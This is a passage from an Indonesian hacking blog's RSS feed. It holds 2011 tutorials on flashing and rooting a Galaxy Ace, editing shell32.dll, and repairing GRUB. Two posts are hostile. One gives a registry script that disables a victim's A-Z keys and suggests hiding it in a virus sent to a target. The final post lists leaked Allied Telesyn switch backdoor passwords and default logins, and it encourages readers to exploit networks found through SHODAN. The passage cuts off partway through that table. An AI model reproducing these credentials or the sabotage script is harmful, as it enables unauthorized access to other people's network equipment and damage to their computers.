<li>Setelah perangkat Anda mati, masuklah ke Recovery Mode dengan tekan-tahan <strong>[Tombol Tengah]</strong>+<strong>[Tombol Power]</strong></li>
<li>Pada Recovery Mode, pilih “update from SD card” dengan menekan tombol volume UP/DOWN.</li>
<li>Pilih file<strong> “upd_1.zip”</strong> dari memory card Anda. Tunggu hingga ada pemberitahuan bahwa proses update berhasil.</li>
<li>Pilih menu restart untuk merestart perangkat Anda.</li>
<li>Jika berhasil, icon Super User akan muncul pada daftar aplikasi Anda.
<p><div id="attachment_2856" class="wp-caption aligncenter" style="width: 242px"><a href="http://www.spyrozone.net/hacking/storage/2011/08/Android-Superuser-Logo.jpg" rel="lightbox[2854]" title="Android Superuser Logo"><img class="size-full wp-image-2856" title="Android Superuser Logo" src="http://www.spyrozone.net/hacking/storage/2011/08/Android-Superuser-Logo.jpg" alt="{image: Android Superuser Logo}" width="232" height="242" /></a><p class="wp-caption-text">Android Superuser Logo</p></div></li>
</ol>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/08/how-to-root-samsung-galaxy-ace-on-android-2-3-42-3-3-gingerbread.jsp/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Android 2.3.4 Gingerbread Official DDKQ5 Update Untuk Samsung Galaxy Ace</title>
		<link>http://www.spyrozone.net/hacking/2011/08/android-2-3-4-gingerbread-official-ddkq5-update-untuk-samsung-galaxy-ace.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/08/android-2-3-4-gingerbread-official-ddkq5-update-untuk-samsung-galaxy-ace.jsp#comments</comments>
		<pubDate>Wed, 31 Aug 2011 01:01:29 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Tips, Tricks and Tutorials]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Android 2.3.4]]></category>
		<category><![CDATA[Samsung Galaxy Ace]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2845</guid>
		<description><![CDATA[Android 2.3.4 kini sudah bisa dinikmati pengguna Samsung Galaxy Ace. Di internet, Anda mungkin menemukan banyak link menuju update Android 2.3.4. Walaupun sama-sama versi 2.3.4, Anda harus berhati-hati karena salah mendownload firmware bisa menyebabkan permasalahan pada wifi dan Internet pada perangkat Anda. Versi yang saya bagikan ini adalah  Android 2.3.4 paling stabil dengan peningkatan performa, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Android 2.3.4 kini sudah bisa dinikmati pengguna Samsung Galaxy Ace. Di internet, Anda mungkin menemukan banyak link menuju update Android 2.3.4. Walaupun sama-sama versi 2.3.4, Anda harus berhati-hati karena salah mendownload firmware bisa menyebabkan permasalahan pada wifi dan Internet pada perangkat Anda. Versi yang saya bagikan ini adalah  <strong>Android 2.3.4 paling stabil</strong> dengan peningkatan performa, perbaikan pada wifi, internet, optimasi user interface, penggunaan daya, dan keamanan.</p>
<p style="text-align: justify;"><span id="more-2845"></span>Sayangnya, Android 2.3.4 tidak memiliki fitur untuk mengubah message skin. Tapi, saya rasa kekurangan kecil ini tidak begitu berarti dibandingkan dengan segala kelebihan yang ditawarkan ^_*</p>
<p style="text-align: justify;">Selamat mencoba <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<ol>
<li style="text-align: justify;">Download:<a title="Download Samsung USB Driver for Mobile Phones V1.3.450.0" href="http://spyrozone.org/public/SAMSUNG_USB.zip"><br />
</a></p>
<ul>
<li><a title="Download Samsung USB Driver for Mobile Phones V1.3.450.0" href="http://spyrozone.org/public/SAMSUNG_USB.zip">Samsung USB Driver for Mobile Phones V1.3.450.0</a> (19 MB)<strong><br />
Password to extract:</strong> www.spyrozone.net</li>
<li><a title="Download ODIN Multi Downloader 4.38" href="http://spyrozone.org/public/S5570_Odin%20Multi%20Downloader%20v4.38.exe">ODIN Multi Downloader 4.38</a> (444 KB)</li>
<li><a title="Download Android 2.3.4" href="http://spyrozone.org/public/S5830DDKQ5.zip">Android 2.3.4 Gingerbread ROM</a> (134 MB)<strong><br />
Password to extract:</strong> www.spyrozone.net</li>
<li><a title="Download Cooper_v1.0.ops" href="http://spyrozone.org/public/Cooper_v1.0.ops">Download Cooper_v1.0.ops</a></li>
</ul>
</li>
<li style="text-align: justify;">Install Samsung USB Driver for Mobile Phones V1.3.450.0.</li>
<li style="text-align: justify;">Extract <strong>S5830DDKQ5.zip</strong>, kemudian jalankan Odin Multi Downloader. Klik tombol <strong>[Ops]</strong>, kemudian masukkan file Cooper_v1.0.ops.  Beri centang pada &#8220;One Package&#8221;, lalu klik tombol <strong>[One Package]</strong>,  pilih file ROM yang sudah Anda extract pada langkah 3 tadi.
<p><div id="attachment_2847" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.spyrozone.net/hacking/storage/2011/08/Odin-Multi-Downloader-Android-2.3.4.jpg" rel="lightbox[2845]" title="Odin Multi Downloader - Android 2.3.4"><img class="size-full wp-image-2847" title="Odin Multi Downloader - Android 2.3.4" src="http://www.spyrozone.net/hacking/storage/2011/08/Odin-Multi-Downloader-Android-2.3.4.jpg" alt="{image: Odin Multi Downloader - Android 2.3.4}" width="500" height="350" /></a><p class="wp-caption-text">Odin Multi Downloader - Android 2.3.4</p></div></li>
<li style="text-align: justify;">Matikan Samsung Galaxy Ace Anda, kemudian tekan kombinasi tombol <strong>Volume Down+Home (Tengah)+Power</strong>. Jika pada Layar Samsung Galaxy Ace Anda tampil keterangan “Downloading..”, Hubungkan Galaxy Ace dengan komputer Anda.<br />
Apabila pada COM Port Mapping sudah menyala kuning dengan keterangan <strong>1 (Com xx)</strong>, klik tombol <strong>[Start]</strong>.</li>
<li style="text-align: justify;">Galaxy Ace Anda akan restart dengan sendirinya.Tunggu hingga keluar pesan PASS dalam kotak biru pada Odin Multi Downloader.</li>
<li style="text-align: justify;">Selamat, kini Android 2.3.4 (Gingerbread) sudah terinstall pada perangkat Anda <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ol>
<p>Ingin membuka akses root perangkat Anda? silahkan membaca: <a title="How to Root Samsung Galaxy Ace on Android 2.3.4/2.3.3 Gingerbread" href="http://www.spyrozone.net/hacking/2011/08/how-to-root-samsung-galaxy-ace-on-android-2-3-42-3-3-gingerbread.jsp">How to Root Samsung Galaxy Ace on Android 2.3.4/2.3.3 Gingerbread</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/08/android-2-3-4-gingerbread-official-ddkq5-update-untuk-samsung-galaxy-ace.jsp/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Menghapus/Memodifikasi Opsi Rename, Cut, Copy, Paste dan Delete pada File &amp; Folder</title>
		<link>http://www.spyrozone.net/hacking/2011/07/menghapusmemodifikasi-opsi-rename-cut-copy-paste-dan-delete-pada-file-folder.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/07/menghapusmemodifikasi-opsi-rename-cut-copy-paste-dan-delete-pada-file-folder.jsp#comments</comments>
		<pubDate>Sun, 24 Jul 2011 00:46:05 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Tips, Tricks and Tutorials]]></category>
		<category><![CDATA[Context Menu]]></category>
		<category><![CDATA[Registry]]></category>
		<category><![CDATA[Scancode]]></category>
		<category><![CDATA[Shell32.dll]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2167</guid>
		<description><![CDATA[Menghapus, mendisable atau memodifikasi menu-menu dan kotak dialog pada Windows (Rename, Copy, Paste, Delete, Undo, Redo, Properties, etc..) memang bukanlah pekerjaan yang sulit. Tapi, tidak semua orang mengetahui file mana yang harus dimodifikasi untuk memanipulasi area yang diinginkan. Melalui artikel ini, saya akan memandu Anda untuk menghapus atau memodifikasi opsi Rename, Cut, Copy, Paste dan [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Menghapus, mendisable atau memodifikasi menu-menu dan kotak dialog pada Windows (Rename, Copy, Paste, Delete, Undo, Redo, Properties, etc..) memang bukanlah pekerjaan yang sulit. Tapi, tidak semua orang mengetahui file mana yang harus dimodifikasi untuk memanipulasi area yang diinginkan. Melalui artikel ini, saya akan memandu Anda untuk menghapus atau memodifikasi opsi Rename, Cut, Copy, Paste dan Delete pada menu windows explorer dan context menu File/Folder.</p>
<p style="text-align: justify;"><span id="more-2167"></span></p>
<h3 style="text-align: justify;">Memodifikasi Dynamic Link Library</h3>
<p style="text-align: justify;">Dynamic Link Library yang akan kita modifikasi adalah shell32.dll. File ini menyimpan banyak sekali kotak dialog dan string-string yang biasa Anda temui di Windows Explorer, termasuk menu-menu Rename, Cut, Copy, Paste dan Delete.</p>
<p style="text-align: justify;">Salin shell32.dll dari folder System32 Anda (defaultnya di c:\windows\system32) ke c:\;</p>
<ol>
<li>Download Resource Hacker, kemudian bukalah<strong> shell32.dll</strong> yang ada pada <strong>c:\</strong> dengan program tersebut. Pergilah ke lokasi:<span style="color: #ff0000;"><strong><br />
Menu\210\1033</strong></span><br />
Pada lokasi tersebut, Anda akan mendapati menu-menu yang ada pada Context menu file dan folder yang biasa Anda temui di Windows Explorer. Pada Artikel ini, saya menghapus baris MENUITEM &#8220;Rena&amp;me&#8221;, 18, MFT_STRING, MFS_ENABLED karena saya ingin menghilangkan menu Rena<span style="text-decoration: underline;">m</span>e yang ada pada context menu <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<div id="attachment_2232" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2232" title="Lokasi opsi Rename pada Context Menu File dan Folder (Klik Kanan)" src="http://www.spyrozone.net/hacking/storage/2011/07/Lokasi-opsi-Rename-pada-Context-Menu-File-dan-Folder-Klik-Kanan.jpg" alt="{Image: Lokasi opsi Rename pada Context Menu File dan Folder (Klik Kanan)}" width="500" height="72" /><p class="wp-caption-text">Lokasi opsi Rename pada Context Menu File dan Folder (Klik Kanan)</p></div>
<p>Klik tombol [Compile Script] sesudahnya.</li>
<li>Berikutnya, pergilah ke lokasi berikut:<br />
<span style="color: #ff0000;"><strong>Menu\216\1033</strong></span><br />
Ini merupakan lokasi menu-menu yang ada pada Windows Explorer. Kali ini saya menghapus baris MENUITEM &#8220;Rena&amp;me&#8221;, 28690, MFT_STRING, MFS_ENABLED karena saya ingin menghilangkan menu Rename yang ada pada Menu File Windows Explorer ^^</p>
<div id="attachment_2234" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2234" title="Lokasi opsi Rename pada Menu File Windows Explorer" src="http://www.spyrozone.net/hacking/storage/2011/07/Lokasi-opsi-Rename-pada-Menu-File-Windows-Explorer.jpg" alt="{image: Lokasi opsi Rename pada Menu File Windows Explorer}" width="500" height="32" /><p class="wp-caption-text">Lokasi opsi Rename pada Menu File Windows Explorer</p></div>
<p>Klik tombol [Compile Script] sesudahnya.</li>
<li>Selanjutnya, pergilah ke lokasi berikut:<br />
<span style="color: #ff0000;"><strong>Menu\305\1033</strong></span><br />
Ini merupakan lokasi menu-menu yang ada pada context menu item-item yang ada pada Start Menu. Pada langkah ini saya menghapus MENUITEM &#8220;Rena&amp;me&#8221;, 6, MFT_STRING, MFS_ENABLED.</p>
<div id="attachment_2236" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2236" title="Lokasi opsi Rename pada Context Menu area Start Menu" src="http://www.spyrozone.net/hacking/storage/2011/07/Lokasi-opsi-Rename-pada-Context-Menu-area-Start-Menu.jpg" alt="{image: Lokasi opsi Rename pada Context Menu area Start Menu}" width="500" height="63" /><p class="wp-caption-text">Lokasi opsi Rename pada Context Menu area Start Menu</p></div>
<p>Klik tombol [Compile Script] sesudahnya.</li>
<li>Klik menu File → Save, kemudian tutup Resource Hacker. Lakukan langkah-langkah lanjutan berikut:
<ul>
<li>Retart komputer Anda, kemudian masuk kedalam <strong>Safe Mode.</strong> Anda harus login sebagai<strong> Administrator</strong>.</li>
<li><strong>Copy shell32.dll</strong> yang telah Anda modifikasi tadi, lalu pergilah ke folder \System32\</li>
<li>Jangan langsung paste file tadi pada lokasi tersebut, tapi <strong>Rename terlebih dahulu shell32.dll yang asli menjadi shell32.dll.backup</strong>. Jika Anda langsung paste file shell32.dll yang sudah Anda modifikasi ke lokasi tersebut, akan muncul pesan error dari Windows.</li>
<li>Sesudah file asli Anda rename, <strong>paste file shell32.dll hasil modifikasi</strong> yang tadi sudah Anda copy.</li>
</ul>
</li>
<li>Restart komputer Anda. Setelah komputer Anda menyala kembali, cobalah melihat menu-menu dan context menu File/Folder.
<div id="attachment_2237" class="wp-caption aligncenter" style="width: 288px"><img class="size-full wp-image-2237" title="Opsi Rename sudah hilang dari menu Context menu file dan folder Windows Explorer" src="http://www.spyrozone.net/hacking/storage/2011/07/Opsi-Rename-sudah-hilang-dari-menu-Context-menu-file-dan-folder-Windows-Explorer.jpg" alt="{image: Opsi Rename sudah hilang dari menu Context menu file dan folder Windows Explorer}" width="278" height="165" /><p class="wp-caption-text">Opsi Rename sudah hilang dari menu Context menu file dan folder Windows Explorer</p></div>
<p><div id="attachment_2238" class="wp-caption aligncenter" style="width: 288px"><img class="size-full wp-image-2238" title="Opsi Rename sudah hilang dari menu File Windows Explorer" src="http://www.spyrozone.net/hacking/storage/2011/07/Opsi-Rename-sudah-hilang-dari-menu-File-Windows-Explorer.jpg" alt="{image: Opsi Rename sudah hilang dari menu File Windows Explorer}" width="278" height="348" /><p class="wp-caption-text">Opsi Rename sudah hilang dari menu File Windows Explorer</p></div></li>
</ol>
<h3>Disable tombol F2</h3>
<p style="text-align: justify;">Karena tadi saya sudah menghapus semua menu Rename, sepertinya kurang lengkap jika tombol F2 (shortcut keyboard untuk rename) tidak didisable ^^&#8221; Berikut kode Registry untuk mendisable tombol F2.</p>
<pre class="brush:bash">Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,02,00,00,00,01,00,3c,00,00,00,00,00</pre>
<p style="text-align: justify;">Setelah menjalankan script diatas, Restart komputer Anda. Kini, Anda hanya bisa menggunakan perintah rename melalui CMD, atau dengan bantuan aplikasi tambahan <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p style="text-align: justify;">Sekian, semoga bermanfaat <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/07/menghapusmemodifikasi-opsi-rename-cut-copy-paste-dan-delete-pada-file-folder.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disable Tombol A-Z Pada Keyboard Melalui Registry</title>
		<link>http://www.spyrozone.net/hacking/2011/07/disable-tombol-a-z-pada-keyboard-melalui-registry.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/07/disable-tombol-a-z-pada-keyboard-melalui-registry.jsp#comments</comments>
		<pubDate>Thu, 14 Jul 2011 02:54:01 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Tips, Tricks and Tutorials]]></category>
		<category><![CDATA[Keyboard]]></category>
		<category><![CDATA[Registry]]></category>
		<category><![CDATA[Scancode]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2175</guid>
		<description><![CDATA[Sebenarnya, ide iseng ini muncul dari seorang rekan saya yang ingin menjahili temannya dengan mendisable tombol A-Z kerboard target ^^&#8221; Tidak perlu melakukan cara yang brutal dengan mencongkel tombol keyboard jika Anda hanya ingin mendisable tombol-tombol alphabet keyboard ^^&#8221;, semua bisa dilakukan dengan script Registry sederhana. Jika Anda tidak memiliki akses fisik ke komputer target, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Sebenarnya, ide iseng ini muncul dari seorang rekan saya yang ingin menjahili temannya dengan mendisable tombol A-Z kerboard target ^^&#8221; Tidak perlu melakukan cara yang brutal dengan mencongkel tombol keyboard jika Anda hanya ingin mendisable tombol-tombol alphabet keyboard ^^&#8221;, semua bisa dilakukan dengan script Registry sederhana. Jika Anda tidak memiliki akses fisik ke komputer target, sisipkan saja script yang saya berikan melalui Artikel pada Virus/Worm buatan Anda untuk kemudian dikirimkan ke target <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' /> </p>
<p><span id="more-2175"></span></p>
<h3>Persiapan Khusus</h3>
<p>Sebelum memulai percobaan pada komputer sendiri, <strong><span style="text-decoration: underline;">hapus password windows Anda</span></strong> (jika komputer Anda memiliki password) karena begitu Anda Log Off setelah mengeksekusi script Registry yang saya berikan, seketika itu juga tombol alphabet Anda tidak akan berfungsi.</p>
<p>Persiapan khusus ini hanya perlu Anda lakukan jika Anda melakukan percobaan pada komputer Anda sendiri, demi keamanan dan kenyamanan Anda <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<h3>Disable Tombol-Tombol Alphabet</h3>
<p><span style="text-decoration: underline;"><strong>spyrozone.reg</strong></span></p>
<pre class="brush:bash">Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,1b,00,00,00,01,00,1e,00,01,00,30,00,\
  01,00,2e,00,01,00,20,00,01,00,12,00,01,00,21,00,01,00,22,00,01,00,23,00,01,\
  00,17,00,01,00,24,00,01,00,25,00,01,00,26,00,01,00,32,00,01,00,31,00,01,00,\
  18,00,01,00,19,00,01,00,10,00,01,00,13,00,01,00,1f,00,01,00,14,00,01,00,16,\
  00,01,00,2f,00,01,00,11,00,01,00,2d,00,01,00,15,00,01,00,2c,00,00,00,00,00</pre>
<p style="text-align: justify;">Script diatas merupakan Scan Code tombol A-Z yang di mapping ulang fungsinya menjadi tombol [Esc]. Simpan Script tersebut dengan nama &#8220;spyrozone.reg&#8221;, klik 2x pada file tersebut, lalu klik OK pada semua kotak dialog yang muncul.</p>
<p style="text-align: justify;">Log Off komputer Anda, lalu login kembali. Kini, tombol-tombol alphabet Anda tidak akan berfungsi <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<h3 style="text-align: justify;">Menormalkan Kembali Fungsi Keyboard</h3>
<p style="text-align: justify;">Untuk menormalkan kembali fungsi keyboard Anda, bukalah Registry Editor, lalu pergilah ke lokasi berikut:</p>
<p style="text-align: justify;"><span style="color: #ff0000;"><strong>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout</strong></span></p>
<p style="text-align: justify;">Hapus &#8220;Scancode Map&#8221; yang ada pada key tersebut. Log Off komputer Anda, kemudian login kembali. Kini Keyboard Anda sudah berfungsi normal sebagaimana biasa.</p>
<h3 style="text-align: justify;">Penutup</h3>
<p style="text-align: justify;">Selamat mencoba, semoga bermanfaat <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/07/disable-tombol-a-z-pada-keyboard-melalui-registry.jsp/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[Solved] Error no such partition, grub rescue&gt;</title>
		<link>http://www.spyrozone.net/hacking/2011/06/solved-error-no-such-partition-grub-rescue.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/06/solved-error-no-such-partition-grub-rescue.jsp#comments</comments>
		<pubDate>Sun, 05 Jun 2011 03:47:33 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[grub rescue]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2927</guid>
		<description><![CDATA[Pesan Error berikut muncul secara tiba-tiba setelah komputer saya reboot: Error no such partition, grub rescue&#62; Saya menginstall 2 sistem operasi pada laptop saya, yaitu Windows 7 dan Ubuntu. Berikut ini adalah langkah-langkah yang saya lakukan untuk mengatasi error tersebut hingga akhirnya menu Grub saya kembali normal. Booting dengan menggunakan Ubuntu Live CD Lihat lokasi [...]]]></description>
			<content:encoded><![CDATA[<p>Pesan Error berikut muncul secara tiba-tiba setelah komputer saya reboot:</p>
<pre>Error no such partition,
grub rescue&gt;</pre>
<p>Saya menginstall 2 sistem operasi pada laptop saya, yaitu Windows 7 dan Ubuntu. Berikut ini adalah langkah-langkah yang saya lakukan untuk mengatasi error tersebut hingga akhirnya menu Grub saya kembali normal.</p>
<p><span id="more-2927"></span></p>
<ol>
<li>Booting dengan menggunakan Ubuntu Live CD</li>
<li>Lihat lokasi partisi Linux. Buka terminal, lalu lihat daftar partisi dengan perintah: <strong><br />
sudo fdisk -l</strong><span style="text-decoration: underline;"><br />
Potongan output:</span></li>
</ol>
<pre>      ....
      <strong>/dev/sda3  .... ... ... Linux</strong>
      /dev/sda4  ....   ... ... W95 Ext 'd (LBA)
      /dev/sda5  ....   ... ... Linux swap
      ....<strong> </strong></pre>
<ol start="3">
<li>Dalam kasus saya, Linux berada pada <strong>/dev/sda3</strong>. Saatnya melakukan perbaikan pada Grub. Ketik perintah berikut secara berurutan:<strong>sudo mkdir /media/cintya</strong><br />
<strong>sudo mount /dev/sda3 /media/cintya</strong><br />
<strong>sudo grub-install &#8211;root-directory=/media/cintya /dev/sda</strong><br />
<span style="color: #ff0000;"><strong>NOTE:</strong></span> sesuaikan /dev/sda dengan perangkat Anda (ex: /dev/sdb)</li>
<li>Jika berhasil, akan keluar pesan pemberitahuan bahwa tidak ada error. Reboot komputer Anda, segalanya akan kembali seperti semula <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/06/solved-error-no-such-partition-grub-rescue.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backdoor instructions for Allied Telesyn (Telesis) Switches</title>
		<link>http://www.spyrozone.net/hacking/2011/05/backdoor-instructions-for-allied-telesyn-telesis-switches.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/05/backdoor-instructions-for-allied-telesyn-telesis-switches.jsp#comments</comments>
		<pubDate>Sat, 28 May 2011 16:13:04 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Allied Telesis]]></category>
		<category><![CDATA[Allied Telesyn]]></category>
		<category><![CDATA[Backdoor]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2877</guid>
		<description><![CDATA[Tentunya Anda sudah mendengar tentang kabar bocornya instruksi penggunaan backdoor Allied Telesyn akibat dari kelalaian perusahaan. Dokumen tersebut meluas setelah ada kesalahan dalam pengaturan kategori artikel dari &#8220;public-internal&#8221; menjadi &#8220;public global&#8221;. Berikut ini adalah dokumen-dokumen rahasia tersebut. Anda dapat memanfaatkan informasi ini untuk mengexploitasi jaringan di sekitar Anda. Yah.., siapa tau ada yang menggunakan Allied [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Tentunya Anda sudah mendengar tentang kabar bocornya instruksi penggunaan backdoor Allied Telesyn akibat dari kelalaian perusahaan. Dokumen tersebut meluas setelah ada kesalahan dalam pengaturan kategori artikel dari &#8220;public-internal&#8221; menjadi &#8220;public global&#8221;.</p>
<p style="text-align: justify;">Berikut ini adalah dokumen-dokumen rahasia tersebut. Anda dapat memanfaatkan informasi ini untuk mengexploitasi jaringan di sekitar Anda. <em>Yah..</em>, siapa tau ada yang menggunakan Allied Telesyn ^^&#8221; Atau, cari saja target dengan menggunakan jasa <a href="http://www.shodanhq.com/"><em>SHODAN</em> &#8211; Computer Search Engine</a>. Segala penyalahgunaan atas informasi ini sepenuhnya menjadi tanggung jawab Anda.</p>
<p style="text-align: justify;">Selamat menikmati <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: justify;"><span id="more-2877"></span></p>
<h3>Layer 3 Backdoor Password</h3>
<p><span style="text-decoration: underline;"><strong>Recovering a lost password on a Router or Rapier</strong></span></p>
<p>If your password for a router configuration file is lost, the following procedure will return it to the default.</p>
<ol>
<li>Connect to the router using a RS-232 cable</li>
<li>Connect to the router via HyperTerminal</li>
<li>Settings for HyperTerminal = 9600 – 8 &#8211; None &#8211; 1   Flow Control = None</li>
<li>Power cycle the router and right away press the s key continuously until you see the login prompt &gt; (Starts up with current release but no configuration).</li>
<li>You will now have to Delete the previous manager password configuration line described below using the internal text editor. The editor is invoked with the command:<br />
EDIT  filename.cfg     (filename is the name of you config file)<br />
Delete the line that states:<br />
<strong>set user=manager pass=3af00c6cad11f7ab5db4467b66ce503eff priv=manager</strong><br />
Save and exit editor by pressing the key sequence of   <strong>Ctrl k x</strong></li>
<li>Now, type the command &gt;<strong>restart router</strong> to reload the original configuration.  The Manager password is now regenerated as &#8220;friend&#8221;</li>
</ol>
<h3 style="text-align: justify;">Password List</h3>
<table style="border-collapse: collapse;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td align="center" bgcolor="#FFFFCC" width="111"><strong>PRODUCT</strong></td>
<td align="center" bgcolor="#FFFFCC"><strong>SWITCH FIRMWARE</strong></td>
<td align="center" bgcolor="#FFFFCC"><strong>CURRENT CODE</strong></td>
<td align="center" bgcolor="#FFFFCC"><strong>DEFAULT LOGIN/ PASSWORD</strong></td>
<td align="center" bgcolor="#FFFFCC"><strong>BACKDOOR</strong></td>
</tr>
<tr>
<td width="111">AT-TS12</td>
<td align="center"></td>
<td align="center"></td>
<td></td>
<td>Special Function</td>
</tr>
<tr>
<td width="111">AT-37XX</td>
<td align="center">S20</td>
<td align="center">3.4</td>
<td align="center">N/A</td>
<td>manager / hold crtl key &amp; type ati, press return twice</td>
</tr>
<tr>
<td width="111">AT-8118, 8124XL (V1), 8126XL</td>
<td align="center">S21</td>
<td align="center">1.5</td>
<td align="center">N/A</td>
<td>manager / hold crtl key &amp; typle ati, press return twice</td>
</tr>
<tr>
<td width="111">AT-8216FXL, 8224XL, 8288XL</td>
<td align="center">S24</td>
<td align="center">3.1.0</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>manager / hold crtl key &amp; type ati</td>
</tr>
<tr>
<td width="111">AT-8316F, 8324</td>
<td align="center">S25</td>
<td align="center">2.0.2</td>
<td align="center">N/A</td>
<td>manager / hold crtl key &amp; type ati</td>
</tr>
<tr>
<td width="111">AT-9006T, 9006LX/SC, 9006SX/SC</td>
<td align="center">S26</td>
<td align="center">2.4</td>
<td align="center">N/A</td>
<td>manager / hold ctrl key &amp; type ati</td>
</tr>
<tr>
<td width="111">AT-8324SX</td>
<td align="center">S29</td>
<td align="center">1.402</td>
<td>
<ul>
<li>admin</li>
<li>no password</li>
</ul>
</td>
<td>TigerTiger123</td>
</tr>
<tr>
<td width="111">AT-PBC18</td>
<td align="center">S31</td>
<td align="center">1.1.4</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>manager / hold crtl key &amp; type ati</td>
</tr>
<tr>
<td width="111">AT-8124XL (V2) After Oct 2000</td>
<td align="center">S30</td>
<td align="center">1.0.3</td>
<td>
<ul>
<li>admin</li>
<li>no password</li>
</ul>
</td>
<td>AT-8124XLATS30</td>
</tr>
<tr>
<td width="111"></td>
<td align="center">S30</td>
<td align="center">1.0.4</td>
<td>
<ul>
<li>admin</li>
<li>no password</li>
</ul>
</td>
<td>Backdoor Generator (requires MAC address)</td>
</tr>
<tr>
<td width="111">AT-80xx</td>
<td align="center">S39</td>
<td align="center">3.3.1</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>manager / hold ctrl key &amp; type ati</td>
</tr>
<tr>
<td width="111">AT-8326GB,8350GB</td>
<td align="center">S41</td>
<td align="center">1.1.8</td>
<td>
<ul>
<li>manager</li>
<li>manager</li>
</ul>
</td>
<td>Backdoor Generator (requires MAC address)</td>
</tr>
<tr>
<td width="111">AT-9410GB</td>
<td align="center">S45</td>
<td align="center">1.0.9d</td>
<td>
<ul>
<li>manager</li>
<li>manager</li>
</ul>
</td>
<td>Backdoor Generator (requires MAC address)</td>
</tr>
<tr>
<td width="111">AT-8400, 8411, 8412, 8413, 8414</td>
<td align="center">S60</td>
<td align="center">2.1.0</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>manager / hold crtl key &amp; type ati</td>
</tr>
<tr>
<td width="111">AT-85xx</td>
<td align="center">S62</td>
<td align="center">1.4.0</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td>
<ul>
<li>1.2.0 manager / hold crtl key &amp; type ati</li>
<li>1.4.0 Special Function</li>
</ul>
</td>
</tr>
<tr>
<td width="111">AT-94xx</td>
<td align="center">S63</td>
<td align="center">1.1.0</td>
<td>
<ul>
<li>manager</li>
<li>friend</li>
</ul>
</td>
<td></td>
</tr>
<tr>
